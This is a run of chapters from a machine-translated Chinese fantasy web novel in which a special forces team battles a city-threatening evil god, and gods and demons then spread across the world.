    Song Yi sighed, "If Mr. is here, things won''t become like this!"


    As he said, Song Yi showed a solemn expression on his face.


    "Miss An, although I haven''t found the source, I watched the wind and found that the evil spirits were soaring north of the center of Xiangjiang. The evil spirits should be entrenched there! And there is a family there, which is very doubtful."


    "Oh?" An Qing''s eyes lit up.


    "That location happened to be where the Zhang family was located! And this family was very closely related to the original Ming family. Later, the Ming family was destroyed by her husband. This family was the first to turn back, so it didn��t suffer any loss! On the surface of the chaos, the Zhang family is very flustered! But as far as I know, none of the direct descendants of this family have been implicated."


    "You mean to say..."


    "I suspect that even if this family is not a group, they definitely know the inside story. But now the situation is in chaos, and the Zhang family is violating me. I just doubt it, and I can''t investigate it."


    An Qing said without hesitation: "In this case, we will go to Zhangjia to have a look now."


    Zhangjia Hotel.


    The Zhang family at the time was a brilliant top giant.


    Later, when the Ming family fell, this family became low-key. Over time, many people even thought that this family had lost its spirit and became an ordinary giant.


    But no one knew that the Zhang family had been secretly planning revenge.


    Like now.


    Zhang Jiajia advocated Chongnian kneeling on the ground respectfully.


    "My Lord of Returning God, it is a member of the Fire Phoenix Special Forces who came to Xiangjiang this time, and the leader is An Qing, the daughter of the settlement!"


    "An Qing?"


    "Yes!" Zhang Chongnian knelt forward and climbed two steps, with a hint of hatred on his face.


    "My lord, things have been found out. It was Xue An who killed your son Long Guanyu, and this An Qing is Xue An''s sister-in-law!"


    Jiang Shen''s eyes lit up slightly.


    "Xue An..."


    "Yes, this person is extremely arrogant. He once slaughtered Xiangjiang and wiped out many wealthy families! Your godson and him had a dispute over a trivial matter at the auction, and he killed your godson."


    It was not difficult to find out what happened at the auction at the time, and Zhang Chongnian added fuel and jealousy, so after listening, his expression was extremely gloomy.


    "Then where is Xue An now?"


    Zhang Chongnian shook his head, "Since this person appeared for the last time years ago, he has never appeared again."


    Then Zhang Chongnian said with a hint of flattery: "Sir, these guys are coming fiercely, should we start first..."


    Before the words fell, an invisible force blasted Zhang Chongnian directly, and pressed him against the wall.


    "I don''t need you to teach what I do! You are just a dog I raised, understand?" Jiang Shen said without looking back.


    A look of horror appeared in this Chongnian''s eyes, and he nodded repeatedly, "Yes! Lord Sacrifice, I know it was wrong!"


    At this moment, the goddess raised his head and looked into the distance.


    A cold smile appeared on his face.


    "I haven''t gone to find you yet. You actually came here to kill you by yourself? Well, since the real murderer is not there, then I will take the murderer''s relatives first!


    At this time, An Qing and others had already arrived outside the Zhangjia Hotel in a military vehicle. .


    Looking at this magnificent hotel.


    An Qing frowned slightly.


    At this moment, it was almost noon, and the violent sunlight was shining directly down, but it could not illuminate the haze of this hotel.


    Even far away, I can feel the deep chill.


    At this moment, I saw the window on the top floor of the hotel shattered, and then a figure walked out slowly.


    This is an ordinary Nanyang man who looks very inconspicuous at first glance.


    But the man stepped in the void, and every step he took, the earth shook.


    When he reached the middle, the man stood still, looked at An Qing below, grinned and said, "You... are An Qing?"


    An Qing felt cold in her heart.


    This person''s eyes were extremely evil.


    "Yes, I am An Qing! The Xiangjiang disaster, but what did you do?"


    Jiang Shen Jiejie laughed strangely, "Scourge? You mean those who died of fate? Ha ha, blame them for bad luck! Besides, I have been merciful, otherwise Xiangjiang would already be a dead city."


    Then he pointed to An Qing, "Xue An killed my son, since you are his relatives, you should die too! Today, I will let you all be my descendants!"


    Following his voice, an extremely cold and evil aura hit An Qing.


    Wherever the breath passed, various skeletal visions rose up, and a miserable howling sound came from mid-air.


    The technique of head lowering and looking at this situation, it is still the evil head lowering made by countless tragic deaths.


    An Qing''s face was pale, "The evildoer is really **** it!"


    But before An Qing could move, Zhou Daniu braved the golden light, rushed to the front, and then blasted out with a punch.


    Click.


    This descent was shattered.


    Then Zhou Da Niu Han said: "You actually called my instructors'' names directly, based on this, you don''t want to leave alive today!"


    Jiang Shen sneered, just as he was about to speak, a black blade of light appeared silently in his throat, slashing across it.


    The head of the goddess was cut off by life.


    But before everyone could breathe a sigh of relief, the headless smiled grinningly: "It''s useless, I am an immortal body! And you all have to die today!"

 Chapter 645： The old lady is the Zerg queen

    If someone asks you, what is God.


    How would you answer?


    Some people may say that God is a kind of superior existence, so he should accept mortal worship.


    When the gods came to the world, they chose to surrender in the first place and were proud of it.


    But there are still many people who never believe in a **** who is born noble.


    In their view, these so-called gods are nothing more than intelligent beings with powerful powers.


    So they never fear and never give in!


    Like now.


    Zhou Da Niu spit out blood and retreated, the golden light on his body has also become dim, and a little black light is eroding his body.


    Zou Yi didn''t hesitate to use a dagger to gouge out the flesh and blood eroded by the black light, and after throwing it on the ground, the flesh and blood were still braving evil yin.


    The excruciating pain only caused Zhou Daniu to frown slightly, and then looked at the surrender standing in the air with cold eyes.


    At this moment, not only him, almost all the members of the Fire Phoenix have been injured.


    But no one flinched.


    All the team members still surrounded this surrender group with a very standard combat formation.


    "You surprised me. You were able to support me until now. Now I have changed my mind. As long as you surrender to me, I can retain your sanity and make you a powerful warrior with a long life." Said.


    Cheng Hao and others remained silent, but looked at him with blazing warfare eyes.


    And Zou Yi sneered, and then fiercely compared the two middle fingers, "Boy, do you really think you are amazing? Tell you, if our instructor is here, one finger will kill you! It''s still your turn Is this haw crooked?"


    Jiang Shen sneered: "Your instructor? Is that Xue An who knew I was coming, so scared that he didn''t even dare to show his face?"


    "I really hope that when you see our instructor, you still dare to be so arrogant!" Cheng Hao said coldly.


    "I look forward to that day, because I also have an account to settle with this Xue An! Now I only ask you, surrender and live, resist and die, which one do you choose?"


    "We don''t choose either. What we want is to let you guys go back!"


    Cheng Hao paused, and then said: "All the team members follow the order, next...no tactics, free attack, let this **** know how powerful it is!"


    With his order.


    Everyone in the Fire Phoenix squad roared and displayed their strongest combat power.


    Sun Ling escaped into the void, holding the blade of darkness, and began a gorgeous dance of death.


    Zhou Daniu encouraged the cultivation base, the golden light gradually condensed all over his body, and then he attacked again.


    Cheng Hao was not to be outdone, and the nine-star Emperor Overlord Xue An bestowed on him had already been cultivated to a very high level.


    Now that he is urging his cultivation base, Cheng Hao''s eyes seem to have nine stars shining, and he rushes towards the gods.


    If someone looked at it from a distance, he would be able to see a wonderful scene.


    An evil **** stood arrogantly in the air.


    And dozens of streamers were rising from the ground and coming straight to him.


    He looked at the rushing Fire Phoenix squad, with a disdainful expression on his face, "Descent of the world!"


    These four words are exported.


    A series of extremely evil heads shrouded the heads of every Fire Phoenix member.


    puff!


    The members with a lower cultivation base began to vomit blood at that time, and the blood was mixed with visceral fragments. It was obvious that this blow had hurt their roots.


    Even the members with a high level of cultivation were shocked, their aura dissipated, and then fell directly to the ground from midair.


    Shen Shen said with a grinning smile: "You know why I am called a god, but you are just a mortal?"


    "Because no matter how hard a mortal struggles, he will never be able to hurt a single point of the gods! Er and others are no exception!"


    "Now kneel and surrender to me, I will make you the most powerful fighters in the world, and have immortality."


    Zou Yi lay on the ground, panting and looking at the surrender in the sky, and then struggling to compare a middle finger.


    "I''m pooh! You **** pretend to be garlic! Isn''t it an evil god? When our instructor comes back, you will definitely be made to kneel and sing to conquer!"


    puff!


    After a muffled sound, one of Zou Yi''s arms became fleshy.


    Zou Yi snorted in pain.


    And Shen Shen said coldly: "If you let me hear that your mouth is not clean, then I will refine you into a ghost now!"


    As soon as the voice fell, a ripple suddenly appeared in the space around Shen Shen.


    Then a series of Feng Shui mysteries began to appear, trapping the gods firmly in them.


    In the distance, Song Yi''s face was extremely depressed, and his figure was shaky, but he shouted: "I trapped him with feng shui absolutely, you go!"


    It''s just that as soon as his words were spoken, these Feng Shui secret patterns burst into pieces.


    The backlash caused Song Yi to open his mouth and spit out a few big mouthfuls of blood, and then fell to the ground unconscious.


    "Do you want to stop me with such a little strength? What a joke! Since you insist on not returning to me, then I will let you never live beyond your life!" Jiang Shen said with a grinning smile.


    Black brilliance emerged one after another, and there were thousands of ghosts crying among them, which made people shudder when they heard it.


    But at this moment, an icy thorn pierced through Shen Shen''s chest.


    Shen Shen looked down, his face flickering black.


    "Zerg! How can you have a Zerg trick?"


    An Qing clung to his back, with the cold moonlight reflected in her eyes, and said lightly: "My mother, I was the queen of the Zerg race, go to die!"


    With that said, the worm was engulfed in brilliance, and directly cut the descent into half.


    But there was no blood flowing out of the body that had been chopped in half, and a very strange smile appeared on the face that was split into two.


    "In front of me, even the Zerg queen must die!"


    boom!


    Before An Qing could react, a black light resembled a long whip, which directly flew An Qing away.


    "Antou!" Cheng Hao and others exclaimed.


    But An Qing''s body had fallen into the darkness and disappeared.


    "You **** dare to hit us on the head! You bastard have the ability to come to us! What kind of majesty do you play against a woman?" Zou Yi roared.


    He sneered, "As you wish!"


    With that, it was another whip.


    If this whip is drawn, Zou Yi will definitely die.


    Zou Yi also accepted his fate, slowly closed his eyes, and prepared to wait for death.


    But after a while, I heard a muffled hum.


    The expected whip did not appear.


    Zou Yi trembled and opened his eyes immediately.


    Seeing the most injured Zhou Daniu standing in front of him, his hands tightly grasped the black long whip, the muscles all over his body leaked blood due to excessive force.


    Even so, Zhou Daniu still popped a few words out of his teeth.


    "Mouse, run!"

 Chapter 646： Desperately blew up and died together

    Mouse is Zou Yi''s nickname.


    Usually Zhou Daniu and Zou Yi have the best relationship.


    Because Zhou Daniu is honest and honest, but Zou Yi is shrewd and strong.


    So when the two cooperated and complemented each other''s strengths, they became the most powerful combination in the Fire Phoenix team.


    In normal times, Zhou Daniu called Zou Yi a mouse.


    Zou Yi already had tears in his eyes at this moment, and he rushed forward without hesitation to help deal with the whip, and said in a deep voice, "I will not go!"


    "Asshole, you are dead if you stay here! I will let you go now!" Zhou Daniu was angry and his eyes were cracked.


    Zou Yi said angrily: "You die! I won''t leave you behind and run for your life alone!"


    At the same time, Cheng Hao and others struggled to get up and wanted to come and help.


    The surrender in midair shook his head and sighed, "It''s really an embarrassing friendship! It''s a pity that none of you can live today!"


    With that, as many as dozens of black long whips appeared in the air, waving and drawing towards everyone.


    Cheng Hao and others looked dark.


    They are now at the end of the crossbow, there is no power to fight anymore, the only thing they can do is close their eyes and wait for death.


    But at this moment, I heard a roar like the fall of a giant.


    "Fuck your mother''s **** god! I, Daniel, will never bow to someone like you!"


    As he said, Zhou Daniu''s eyes burned with a palpitating golden light, and his whole figure began to soar.


    Zou Yi, Cheng Hao and others exclaimed.


    "Da Niu, don''t!"


    But it was too late, but in the blink of an eye, Zhou Daniu''s figure had become twenty or thirty meters tall.


    The whole body is covered by the dazzling golden light.


    Zou Yi looked up at this scene blankly, tears coming from his eyes like a flood that bursts a bank.


    Because he knows what Zhou Da Niu wants to do!


    The surging expression became startled and uncertain, because the breath radiating from Zhou Daniu''s body shocked him.


    But the arrogance of being a **** made him calm his mind for a while, and then sneered: "Is it worth it to burn my soul to kill me? If you know that the end of burning your soul is extinguished, it''s more than eternal. More cruel end!"


    Zhou Daniu didn''t say a word, the golden light on his body became stronger and stronger, and in the end it even turned into a light armor covering him.


    At the same time, Zhou Daniu stepped forward and blasted a punch directly.


    This punch seemed to shake the world and the earth, causing the surrounding buildings to start shaking.


    He gave a smirk, "Well, I''ll play with you!"


    As he said, hundreds of black long whips waved out, covering Zhou Daniu layer by layer, and then tightened suddenly, and Zhou Daniu''s body made a banging sound.


    But Zhou Daniu seemed to have lost all the perception of pain. He just roared up to the sky and completely shattered the black long whip on his body.


    He snorted, and a trace of blood slowly leaked from the corner of his mouth.


    This is the only time he has been injured since he came into the world.


    This made the ancient evil **** furious.


    "Humble ants! You actually hurt the noble me! I will bury you in ten thousand pieces, and even this city will be buried with me!"


    With the voice of descent, a large block of black clouds exuding a thick and ominous atmosphere enveloped the entire Xiangjiang City.


    At this time, Song Yi had already woke up leisurely. After seeing this scene, his whole body trembled in fright, and he said loudly: "It is the fall of the city! He wants to slaughter this city!"


    With that, Song Yi''s face showed unwillingness and despair.


    This surrender is based on the fear and greed in people''s hearts, which makes him almost invincible in densely populated cities!


    Because the fear and greed in people''s hearts are almost insoluble.


    But just as he was preparing to do it with pride and madness, a huge golden figure appeared behind him and held it firmly in his arms.


    The golden light covered this evil **** and began to erode the dark air in him.


    This caused the surrender to cry in pain.


    And the black clouds in the sky stopped gathering.


    But all this comes at a price.


    Desperate and murderous, began to struggle.


    Zhou Daniu hugged him tightly, and the golden light gradually began to flicker.


    at last.


    After she cast an extremely evil spirit-burning fire with extreme anger.


    Zhou Daniu opened his mouth, his eyes, nostrils, and mouth began to bleed out.


    But even so, Zhou Daniu still did not let go, on the contrary, he grasped tighter and tighter.


    The howl of sorrow became more and more violent.


    "Humble ant, do you think this can do anything to me? I am the supreme evil god! I will burn your soul forever!" The descendant roared.


    At the same time, the black energy on his body gradually faded, as if he was about to escape.


    A look of determination appeared on Zhou Daniu''s face, and then looked down at Zou Yi and the others, a silly smile appeared on the huge face.


    "Tell the instructor, none of us Fire Phoenix is ??a bully, and I didn''t embarrass him!"


    Cheng Hao and others had already burst into tears, and nodded together.


    But Zou Yi seemed to have lost all his strength, collapsed to the ground, and said in pain, "No! No! Don''t! Daniel, you are gone! What should I do?"


    Zhou Daniu took a deep look at Zou Yi and smiled, "Mouse! If there is another life, let''s be brothers!"


    With that, the soul fire in Zhou Da Niu''s eyes suddenly soared, and the golden light on his body shrank.


    Shen Shen also noticed something wrong, and screamed: "You crazy man! Why do you want to..."


    The voice did not fall.


    The golden light of Zhou Daniu''s body exploded, and the gloomy night sky seemed to suddenly appear as a golden sun, and the light instantly illuminated the entire Xiangjiang City.


    Countless evil spirits and sprites were destroyed by this blow before they even had time to utter the howls.


    And everyone in Fire Phoenix stared blankly.


    When the brilliance dissipated, there was nothing in the air, there was no surrender figure, and there was no Zhou Daniu.


    Zou Yi''s face was pale and her whole body was shaking.


    The image of seeing Zhou Daniu for the first time appeared in his mind.


    At that time, Zhou Da Niu was honest and silly, wearing almost rustic clothes, smirking at everyone.


    But it is such a person who has gone the farthest on the road of practice.


    Even Xue An praised him more than once.


    If given time, he will surely be able to surpass mortals, achieve longevity, and even become a golden immortal.


    But now... everything is gone.


    The end of the spirit blew up is nothing!


    Zou Yi suddenly felt the pain in his heart as if he had been cut out.


    No one would laugh and call him a rat anymore!


    No more!

 Chapter 647： Ravaging the world

    At this moment, a ripple suddenly appeared in the sky, and then a little black light floated from the entire city, began to converge in the mid-air, and formed a black air mass, which began to beat slightly like a heartbeat.


    Song Yi''s complexion changed drastically, "It''s a descent! He is not dead! And he is borrowing the negative emotions of the entire city to regroup his body!"


    The people of the Fire Phoenix team changed their colors, Zou Yi stood up suddenly, his face was full of mad killing intent, and he was about to rush forward without saying a word.


    Cheng Hao stopped him, "What are you doing?"


    "Captain, I''m going to kill these **** gods!" Zou Yi''s eyes dripped with blood and tears.


    "It''s useless, as long as the city exists, as long as the residents in the city are still there, this descent is almost immortal!" Song Yi muttered to himself palely.


    "I don''t care! I just want to kill him! Revenge for Daniel and Antou!" Zou Yi was completely crazy, and he insisted on rushing forward regardless of anyone''s obstruction.


    Snapped!


    Cheng Hao slapped Zou Yi without hesitation, and said coldly, "Zou Yi, calm down!"


    Zou Yi was stunned for a moment, then covered his face and started crying, "Captain, I beg you to let me go, I just want to die with these gods!"


    "I want to die more than you! But after I die? What about Antou? What about ordinary people in this city?" Cheng Hao asked harshly.


    Zou Yi''s face was confused.


    At the same time, Sun Ling walked out of the darkness with An Qing''s back.


    "Captain! Antou she..." Sun Ling said in a choked voice with red eyes.


    Cheng Hao, Song Yi and others were surprised and hurriedly gathered around.


    Seeing An Qing, who was lying on Sun Ling''s back, her eyes closed tightly, but her body was wrapped in something similar to silkworm cocoons, only her cheeks were exposed.


    "What''s going on?" The members of the Fire Phoenix were all upset.


    If Xue An is the soul support of the Fire Phoenix, then An Qing is the goddess who cannot be profaned in everyone''s hearts.


    Therefore, almost everyone cried bitterly when seeing An Qing''s appearance.


    And they are all red-eyed and are going to fight with the gods.


    Cheng Hao reluctantly remained calm and ordered everyone not to act rashly.


    At this time, Song Yi looked at An Qing for a while, his expression changed, and then, as if he had made some great determination, he turned to give a deep salute to Cheng Hao and others.


    "Captain Cheng! Although Miss An is unconscious now, her breath is stable, and there should be nothing wrong with her!"


    Cheng Hao hurriedly helped, "What is Master Song doing! Don''t be like this!"


    Song Yi shook his head firmly, "Captain Cheng, the place is now in chaos, for the lives of tens of millions of people in Xiangjiang, I have a request!"


    Cheng Hao looked solemn, "Master Song, please speak!"


    Song Yi took a deep breath and stared at the black air mass that gradually increased with the beating in the air, "This surrender is an evil **** who feeds on the fear and greed of the human heart. If you can''t cut it off from the source, you can''t kill him at all! "


    "But humanity is like this. To remove it from the source is simply a dream! The only way now is..."


    "Let all the people in Xiangjiang leave! Leave an empty city, so as to suppress the growth of this evil god."


    "Master Song meant to say..."


    "There are tens of millions of people in Xiangjiang, and even if the retreat starts now, it will be an extremely large project. Therefore, powerful people are needed to run all of this! But please Captain Cheng and the Fire Phoenix people to take on this important task!" Song Yi said earnestly. Said.


    Cheng Hao nodded and agreed without hesitation, "At this juncture, I am obliged to wait! Just as Master Song said, it will be a very long process to start retreating now! You can see the current growth rate of this black spirit. , It is very possible that before the retreat is completed, the gods will reappear in the world!"


    Song Yi smiled faintly, with divine light in his eyes.


    "Captain Cheng forgot what I rely on for food?"


    Cheng Hao was startled.


    Song Yi looked at the increasing black air mass, and said indifferently: "I am there, I will not let this fall into the world again!"


    Cheng Hao was silent for a moment before he said, "So, Master Song take care!"


    The situation was urgent, so after the discussion was over, Cheng Hao immediately took the people to start the operation of the Grand Retreat in Hong Kong.


    The people waiting for the Phoenix are gone.


    Song Yi used all the Feng Shui artifacts he had accumulated over the years, and began to arrange the Feng Shui Absolute Array according to the surrounding terrain.


    There was a muffled noise.


    The big array is set up.


    Song Yi spit out another mouthful of blood.


    And there was an angry hum from the black air mass, and the growth rate also slowed down.


    Seeing this scene, Song Yi raised the corner of his mouth, revealing a decisive smile, and then sat cross-legged in the middle of the formation, carefully pulling out the true solution of the formation that still had residual warmth from his arms.


    This was obtained by Xue An when he broke through the remains of the immortal in the harbor, and then gave it to Song Yi at will.


    Song Yi regarded it as a treasure and always carried it personally.


    Now, he is slowly rubbing the book, his face is flashing...definitely.


    It''s the day.


    The harbor has changed dramatically.


    The Fire Phoenix Special Force Zhou Daniu''s soul blew himself up, destroying the Cthulhu God.


    Then the residents of the seaport of Hong Kong began to retreat.


    The city is designated as a restricted area and no one is allowed to set foot in it.


    The world was shocked when this incident happened.


    But before the people of the world came to a sense of consternation, the incident was overwhelmed by an endless stream of events.


    As if the valve between heaven and earth had been completely opened, the descending gods and demons suddenly increased, and the number of them even formed several army of gods and demons, and they began to sweep the world unscrupulously.


    All the weapons that mankind is proud of appear so fragile in front of these powerful gods and demons.


    In just two or three daylight scenes, countless small countries have been completely wiped out, and the remaining big countries have been retreating steadily. The whole world has become completely turbulent It is gradually falling into the quagmire of war and unable to extricate itself. time.


    Qingmang Town.


    Cheng Hao, Sun Ling and others stood in a row silently.


    An Yan quietly watched An Qing lying on the bed, her whole body wrapped in thick cocoons, only one cheek remained.


    The atmosphere is suppressed to a frightening degree.


    But it was thoughts and misses that broke this dead silence in the end.


    The two of them looked at An Qing on the bed, choked up and said, "Auntie, you wake up, don''t sleep anymore, okay? Get up and talk to us! Dad hasn''t come back, do you want us?"


    This scene made the tough guys who were accustomed to life and death all have a sore nose and tears.


    And An Yan trembling hands gently stroked the hair of the two little girls, "Don''t cry! Your aunt is just too tired! You will wake up as soon as you sleep!"

 Chapter 648： Im Xue Ans wife, I want to wait for him here...

    "Mom, is it true?" Missing Nian raised her teary face and asked softly.


    An Yan nodded vigorously, "Of course it is true, will mother lie to you?"


    Missing Nian stopped the crying, and then leaned to the bedside, quietly watching An Qing, silently expecting my aunt to wake up sooner.


    An Yan walked to the outhouse in silence, and Cheng Hao and others also walked out after that.


    "What''s going on!" As soon as she left the sight of the two daughters, An Yan felt like the sky was spinning around and almost fell to the ground.


    Fortunately, Tang Xuan''er was aside and hurriedly supported her.


    Cheng Hao recounted the incident with a face full of guilt, and then led all the team members to take a step forward and knelt down.


    "Madam, I am incompetent. I failed to protect Antou and suffered serious injuries. We are willing to be punished!"


    After that, Cheng Hao and others all bowed their heads.


    At this moment, An Yan''s face was pale as paper, and his eyes swept across the faces of every Fire Phoenix member.


    Through Cheng Hao''s narration, she knew what had happened, and noticed that the members of the Fire Phoenix were all depressed and obviously injured.


    "Captain Cheng, you didn''t do anything wrong, why do you have to punish you? Please get up all!" An Yan said, her expression gradually returning to calm.


    Cheng Hao and the others looked at each other, and then stood up hesitantly.


    Then An Yan gave a deep salute to everyone, "Thank you everyone for sending my sister back!"


    The bluffing Cheng Hao and others evaded one after another, not daring to accept An Yan''s greetings, and then said hurriedly: "Madam, what are you doing? If the instructor finds out, you will definitely scold us!"


    "Yeah! This is what we should do!"


    An Yan smiled and said, "There is nothing in this world that should be, if it weren''t for you, Qing''er would have died long ago! So you deserve it."


    A warm current surged in the hearts of Cheng Hao and others.


    Before they came, they came with the mentality of inviting sin, but they didn''t expect An Yan to be so considerate.


    At this time, Cheng Hao hesitated a little, then said very solemnly.


    "Madam! Now the situation is in chaos, and it is already very insecure. You should take the two young ladies and everyone to Zhongdu! There are layers of military guards, and there are many powerful people in China, which is the safest. Where is it."


    An Yan shook his head when he heard this, "Stop talking, I won''t leave! I''m here to wait for him to come back!"


    In fact, as early as a few days ago, Xue An��s good buddies and the Chen family urged An Yan to go back more than once, but An Yan refused.


    "But..." Cheng Hao showed a look of worry on his face.


    An Yan smiled, "Have you forgotten that I am the wife of your instructor and a well-known master. If there are gods and demons who dare to come here to go wild, I will definitely make them regret it."


    Cheng Hao and others were still a little worried.


    After all, Anyan and Missing Nian are the most important family members of the instructor. If there is a handicap, they will all be to blame.


    Xiaosha had been listening, and couldn''t help talking at this moment.


    "You can rest assured, as long as there is my Xiaosha, you will definitely protect the safety of the mistress and others."


    Zhang Xiaoyu, who was standing behind Xiaosha pinching her shoulders, couldn''t help clenching her fists at this moment, and said with a firm face: "Master Xiaosha said what I meant!"


    Xiao Sha glared, "Quickly pinch!"


    "Okay Master Xiaosha!" Zhang Xiaoyu hurriedly began to pinch his shoulders again.


    Cheng Hao and others knew that Xiaosha was a morphing dragon, and his strength was very powerful.


    So after looking at each other, Cheng Hao took a deep breath, "In that case, madam, take care, I''ll leave first!"


    An Yan nodded, "The same goes for you, take care!"


    The Fire Phoenix team now has an extremely heavy task and needs their reinforcements everywhere, so after sending An Qing back to Qingmang Town, they will rush to solve the next task without stopping.


    Looking at the figure of these men going away, Tang Xuan''er sighed, "I don''t know how many will be able to come back once I go!"


    Hearing these words, An Yan trembled all over, and then a ray of determination gradually appeared in his eyes.


    What she said is what she said in her heart.


    As Xue An''s wife, she will never back down.


    "Husband, don''t worry, I will let these arrogant gods and demons learn to awe. I will be here, waiting for your return!"


    An Yan said softly, holding the special weapon tightly in his hand.


    Then the situation became more and more chaotic.


    Where the army of gods and demons passed, the creatures could not grow up.


    But at this moment, human beings burst into unprecedented tenacity and tenacity.


    Although there were people who knelt to survive, more of them quietly picked up their swords and walked onto the battlefield.


    This may be the reason why this race can survive to this day.


    Dark castle.


    The attack from the light fanatics has been going on for ten days.


    This group of fanatic believers never seem to know tiredness, let alone fear death.


    Everyone rushed forward with a dull expression, using the holy light they carried to kill the guardian power that enveloped the dark castle.


    This is the strategy set by Metatron.


    If he forcibly breaks through this guardian power, then Fan Mengxue will be completely destroyed.


    So he used this group of light enthusiasts who had been imprisoned by him to break through this protection.


    This method of piercing through water with water really worked.


    The power of the dark guard began to weaken.


    All this, the people of the Dark Council naturally understand.


    But now the tycoons of the Dark Council are all seriously injured, and they are unable to fight again.


    Is it just watching it like this?


    Do not!


    There is a group of uncles who have never bothered to bow their heads to anyone.


    The XM806 heavy machine gun roared and poured bullets at the fanatics who charged on the opposite side.


    The dense barrage made it difficult for these fanatics with the protection of the holy light to rush through.


    quickly.


    This wave of light fanatics was harvested.


    The skeleton patted his suit and then took out a cigar and pressed it on the red barrel.


    After a while, the cigar ignited, the skeleton took a comfortable sip, and then patted the heavy machine gun.


    "See, what is the power of technology? This is it!"


    Skull Sixth obviously can''t understand the cigar skeleton''s style, and sneered after hearing the words: "Yes, you are playing well, but the problem is that the current bullets can''t last long!"


    "It''s okay, just with those idiots who can only charge, I can clean them without a gun!" Cigar Skull said with disdain.


    Hearing this, the sixth man just wanted to ridicule.


    There was a sudden heavy fog outside.


    "Attention! There is a situation!" a skeleton shouted.


    All the skeletons were awe-inspiring.


    Then I saw a group of people with wings growing behind them slowly coming out of the mist.

 Chapter 649： All of you have to come back to me

    After seeing these people, all the skeletons immediately opened fire.


    But this time, the unfavorable bullets also lost their effect.


    Even if they were hit head-on by a large-caliber sniper rifle, they couldn''t penetrate these people''s bodies.


    Then these people suddenly rose into the air and headed straight for the skeletons.


    "Fuck! What the hell!" Seeing that the cigar skeleton couldn''t touch the guys, he shuddered and rolled directly down, able to avoid someone''s attack.


    But as soon as he dodges, he heard a scream of skeletons behind him. He turned to look, and saw a skeleton torn to pieces by this life, and the skull was also crushed.


    The flame in this skeleton''s eyes went out, and he was still looking at the cigar skeleton before it went out.


    At the same time, other skeletons were also torn to pieces by this group of guys, becoming bones in the same place.


    The cigar skeleton roared, "God of Light, I say your ancestor of the eighteenth generation!!"


    Saying desperate to get up.


    But at this moment, he was pressed to the ground by a man, and then the voice of the sixth skeleton came.


    "Don''t be impulsive, you can''t beat these guys!"


    The cigar skeleton couldn''t suppress the inner anger, "but the big guys are torn apart by this bunch of bitches!"


    The sixth whispered: "I saw it, but don''t be impulsive!"


    Speaking of the old sixth, he said lightly: "Is there any cigar? Give me one too!"


    "You heartless thing, everyone has been torn apart! I guess you can''t fight it! And at this time you are still pressing on me, I am not interested in men! Get out of me! !"


    The cigar skeleton grumbled, took out a cigar, and passed it back without looking back.


    But after a while, no one answered.


    The cigar skull turned his head 180�� impatiently, "You..."


    Then he was stunned.


    Because the sixth child who was pressing on him, half of his body had been completely shattered at this moment, and the Holy Light was attached to the wound, eroding desperately to the other side.


    The flame in the eyes of the sixth man was extremely dimmed.


    "Old...sixth!" said the cigar skeleton tremblingly.


    Then get up.


    The sixth man shook the remaining hand, "Don''t move, I''m blocking it, they can''t see you!"


    "But...but."


    The light in the sixth''s eyes grew dimmed, "Second brother, last time I watched again and again, I actually lost, I''m sorry!"


    "I''m shameless too, sixth, you''re going to stop talking, second brother save you out!" Cigar skeleton trembled.


    The sixth shook his head, "It''s useless!"


    Then he looked at the cigar skeleton quietly, "Second brother, see you in the next life!"


    After that, the flame in his eyes was completely extinguished, and the bones were scattered all over the floor.


    The cigar skeleton lay on the ground, and I don��t know how long it took before he said lowly: "You **** say I''ll see you in the next life! I don''t believe in this evil! You all have to come back to me!"


    At this time, the birdmen had been killed by the power of the dark guard, and the cigar skeleton stood up and installed all the dry bones on the ground in different categories.


    While pretending to be him, he murmured, "This rib is greasy and slippery, it looks like the old man belongs to him!"


    "This pelvis is so big, it should be the fifth big butt!"


    But when he touched the bones of the sixth child, the bones eroded by the Holy Light instantly turned into powder and dissipated between the heaven and the earth.


    This scene was like a heavy punch that completely defeated him.


    "Sixth, second brother is wrong! I will be your grandson from now on and brush your bones. Don''t leave me! Okay!"


    The cigar skeleton screamed in pain, and something hot and humid rolled from his eyes.


    original.


    Skeletons can cry too.


    At this moment, Metatron was in the church, watching the situation of the dark castle through the light curtain.


    When he saw that the guardian power became thinner, he smiled slightly and raised the red wine glass.


    "What an intoxicating taste! I like it here!"


    The Bright Cultists underneath all stood dumbly, like wood without emotion.


    Lingnan.


    As a place adjacent to South Asia, there are already various beliefs in worshiping evil gods.


    Therefore, when the gods and demons came to the world, the impact here was even more severe.


    But because of the existence of the Yu family, there has not been too much harm here.


    But with the passage of time, the number of gods and demons in the world gradually increased, and the Yu family began to become unable to support it.


    now.


    It was raining lightly in Lingnan.


    Several evil soldiers with blue faces and fangs are rampant in the city unscrupulously.


    But now Lingnan City has become empty, because the Yu family evacuated the people in the city from the beginning and scattered to various strongholds.


    The advantage of this is that it can reduce the defensive manpower to a minimum and reduce the casualties of innocent people.


    "These cunning mortals have already evacuated everyone. It''s really boring!" a hideous evil soldier mumbled dissatisfiedly.


    "Jie Jie, those mortal sword repairs won''t last long, and it will be the day when this city will fall!" Another evil soldier Jie Jie laughed strangely.


    At this moment, the evil soldier who was walking in the front suddenly stopped.


    "Sixth, what did you stop doing suddenly?"


    There was a cruel light in the eyes of the evil soldier called the sixth, and he grinned and said, "Don''t you feel it? Just under the mountain not far in front, there seems to be a small temple."


    These evil soldiers were startled at first, and then all showed excitement.


    "Unexpectedly, there are such weak gods in the world! It seems that they are local gods made by incense!"


    "Jiejie, looking at this weak and weak breath, he should still be a goddess!"


    These evil soldiers looked at each other, and then hurried to the small temple with a grin.


    Temple of Rain.


    Almost all the temples were evacuated, except for an elderly man.


    He understands that he can''t live for long anyway, it''s better to stay and look after the temple.


    At this moment, he is babbling on incense.


    "Rain God Empress, the world is not peaceful recently I know you are timid, so you can hide as much as possible! The young master of the Yu family killed another monster yesterday, but I heard that he himself also Wounded! Alas, these gods and demons raised by **** have a good day, but what do they suddenly come to the world? Alas, I didn��t mean to speak swear words, don��t blame the Rain God!"


    Following the words of the old temple wish, the corner of the little idol''s mouth floated and seemed to be laughing.


    But at this moment.


    Several powerful evil spirits rushed straight forward, before the old temple wish could react.


    The tall temple gate shattered.


    Then a few evil soldiers walked in with a grin.


    This old temple trembles all over, "You...you..."


    Before he could say anything, his head exploded and the dead body fell to the ground.


    Seeing this scene, the rain **** image trembled violently.


    And these evil soldiers looked greedily.

 Chapter 650： Lingnan Rain God

    "Hey, it took thousands of years to cultivate this look, my little lady, you''re pretty useless!"


    "Jiejie, this little girl should look good, and after a while, we will just enjoy it."


    As he was talking, a white light suddenly flashed in the rain **** statue and rushed straight outside.


